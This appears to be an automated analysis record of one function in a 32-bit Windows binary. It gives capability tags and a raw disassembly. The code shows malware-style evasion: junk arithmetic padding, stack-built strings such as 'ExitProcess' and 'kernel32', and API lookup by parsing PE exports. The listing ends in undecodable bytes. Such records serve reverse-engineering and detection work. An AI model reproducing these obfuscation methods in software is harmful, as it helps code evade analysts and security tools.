Function at 0x645d5b41
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
dec dword [ecx - 0x18e37b]
call dword [edx + 0x56]
add esp, 4
add edx, 0x15b77
sub edx, 0x16112
add edx, 0x13458
pop edx
push edx
push ecx
add esp, 4
add edx, 0x1851b
xor edx, 0xced1
pop edx
push edi
add edi, 0x3978
pop edi
mov dword [ebp - 0x277c], 0xffffffff
push edx
push eax
add esp, 4
sub edx, 0x11205
or edx, 0x111d8
retf 0x11d8
add dword [eax], eax
pop edx
push ebx
push ebx
add esp, 4
and ebx, 0x17cba
pop ebx
push ebx
and ebx, 0x28de
pop ebx
push eax
push eax
add esp, 4
sub eax, 0x2eab
pop eax
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x5c0], ecx
jmp 0x645d587f
mov edx, dword [ebp - 0x5c0]
add edx, 1
mov dword [ebp - 0x5c0], edx
push edx
push ebx
add esp, 4
call 0x645d5894
add byte [ecx], bh
dec ebp
dec ecx
inc esi
xor cl, byte [ebp + eax*2 + 0x37]
xor eax, 0x4c48349
pop edx
push ecx
sub ecx, 0x9c6
xor ecx, 0x747e
pop ecx
push ebx
push edi
add esp, 4
jmp 0x645d58b0
pop ebx
mov eax, dword [ebp - 0x5c0]
sub eax, dword [ebp - 0x488]
cmp eax, 0xffffffff
jb 0x645d58f9
push ecx
jmp 0x645d58cc
add ecx, 0xda38
pop ecx
push eax
push ebx
add esp, 4
jmp 0x645d58dd
sub eax, 0xf09e
call 0x645d58f0
add byte [esi + 0x34], cl
aaa
dec eax
dec eax
inc eax
dec ebp
add esp, 4
pop eax
jmp 0x645d5b27
mov dword [ebp - 0xe88], 7
mov ecx, dword [ebp - 0x5c0]
mov dword [ebp - 0xc04], ecx
push eax
xor eax, 0xba9
sub eax, 0x15eac
xor eax, 0x38c7
pop eax
push edi
push esi
add esp, 4
or edi, 0xe6e1
and edi, 0xaca9
and edi, 0x4ef5
and edi, 0x147e8
pop edi
mov edx, dword [ebp - 0x18e4]
mov dword [ebp - 0xc00], edx
mov dword [ebp - 0xe8c], 0
mov eax, dword [ebp - 0x5c0]
cmp eax, dword [ebp - 0x18e4]
jne 0x645d59a8
push edx
push esi
add esp, 4
sub edx, 0x101ac
or edx, 0x10b18
or edx, 0x13e8f
pop edx
push edx
and edx, 0x177d4
call 0x645d5993
add byte [eax + 0x35], dl
cmp esi, dword [ebx]
aas
dec edi
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0x5a
mov ecx, dword [ebp - 0xe8c]
mov dword [ebp - 0x18b0], ecx
jmp 0x645d5ad9
cmp dword [ebp - 0xe88], 0
jle 0x645d5acd
push ecx
push esi
add esp, 4
xor ecx, 0x4cc3
sub ecx, 0xe6a1
xor ecx, 0x14756
sub ecx, 0x17f
pop ecx
push edx
and edx, 0x6b03
xor edx, 0x1638c
and edx, 0x156fb
pop edx
mov edx, dword [ebp - 0xc04]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xc00]
movzx edx, byte [ecx]
cmp eax, edx
je 0x645d5a69
push edx
sub edx, 0x136c4
jmp 0x645d5a0a
pop edx
push edi
push eax
add esp, 4
add edi, 0x7346
xor edi, 0x156eb
pop edi
push esi
push esi
add esp, 4
sub esi, 0x6f93
xor esi, 0x1709d
pop esi
mov eax, dword [ebp - 0xc04]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xc00]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x645d5a51
mov dword [ebp - 0x18e8], 1
jmp 0x645d5a5b
mov dword [ebp - 0x18e8], 0xffffffff
mov ecx, dword [ebp - 0x18e8]
mov dword [ebp - 0xe8c], ecx
jmp 0x645d5acd
push edx
sub edx, 0x1257b
xor edx, 0x14445
pop edx
push ecx
push edi
add esp, 4
add ecx, 0x11b80
pop ecx
push ebx
push ecx
add esp, 4
or ebx, 0x56d1
or ebx, 0xbda
and ebx, 0xbfc6
pop ebx
mov edx, dword [ebp - 0xe88]
sub edx, 1
mov dword [ebp - 0xe88], edx
mov eax, dword [ebp - 0xc04]
add eax, 1
mov dword [ebp - 0xc04], eax
mov ecx, dword [ebp - 0xc00]
add ecx, 1
mov dword [ebp - 0xc00], ecx
jmp 0x645d59a8
mov edx, dword [ebp - 0xe8c]
mov dword [ebp - 0x18b0], edx
cmp dword [ebp - 0x18b0], 0
jne 0x645d5b22
push edx
call 0x645d5af3
add byte [ebx + 0x45], cl
cmp bh, byte [edx]
dec esp
inc ebx
cmp byte [0xc4833b4b], dh
add al, 0xeb
pop es
inc ebp
dec edx
cmp byte [edx + 0x44], cl
dec edx
xor bl, byte [edx + 0x56]
or esi, 0x45c
xor esi, 0x13104
sub esi, 0x5cea
pop esi
mov eax, dword [ebp - 0x5c0]
mov dword [ebp - 0xbfc], eax
jmp 0x645d5b63
jmp 0x645d5870
push esi
jmp 0x645d5b2e
or esi, 0xb1c9
call 0x645d5b41
add byte [ebx + esi], dh
xor eax, 0x464b4642
add esp, 4
or esi, 0x174df
pop esi
push eax
and eax, 0x9f58
and eax, 0x1cb7
pop eax
mov dword [ebp - 0xbfc], 0
push esi
or esi, 0x6b88
xor esi, 0x143a8
or esi, 0x156e
pop esi
push edi
push ebx
add esp, 4
or edi, 0xba80
or edi, 0x12464
sub edi, 0x3b0
and edi, 0x17307
pop edi
mov byte [ebp - 0x9c0], 0x45
mov byte [ebp - 0x9bf], 0x78
mov byte [ebp - 0x9be], 0x69
mov byte [ebp - 0x9bd], 0x74
mov byte [ebp - 0x9bc], 0x50
mov byte [ebp - 0x9bb], 0x72
mov byte [ebp - 0x9ba], 0x6f
mov byte [ebp - 0x9b9], 0x63
mov byte [ebp - 0x9b8], 0x65
mov byte [ebp - 0x9b7], 0x73
mov byte [ebp - 0x9b6], 0x73
mov byte [ebp - 0x9b5], 0
push edi
sub edi, 0x14b86
call 0x645d5bff
add byte [edx + ecx*2 + 0x3f], cl
inc edi
inc ebx
cmp eax, 0xc4835033
add al, 0x81
out 0x1f, eax
push ds
add dword [eax], eax
pop edi
push ecx
push eax
add esp, 4
xor ecx, 0x67e4
and ecx, 0x44b9
pop ecx
mov ecx, 0x6b
mov word [ebp - 0x1a68], cx
mov edx, 0x65
mov word [ebp - 0x1a66], dx
mov eax, 0x72
mov word [ebp - 0x1a64], ax
mov ecx, 0x6e
mov word [ebp - 0x1a62], cx
mov edx, 0x65
mov word [ebp - 0x1a60], dx
mov eax, 0x6c
mov word [ebp - 0x1a5e], ax
mov ecx, 0x33
xor eax, dword [eax]
add byte [eax], al
invalid
invalid
invalid
movsb byte es:[edi], byte [esi]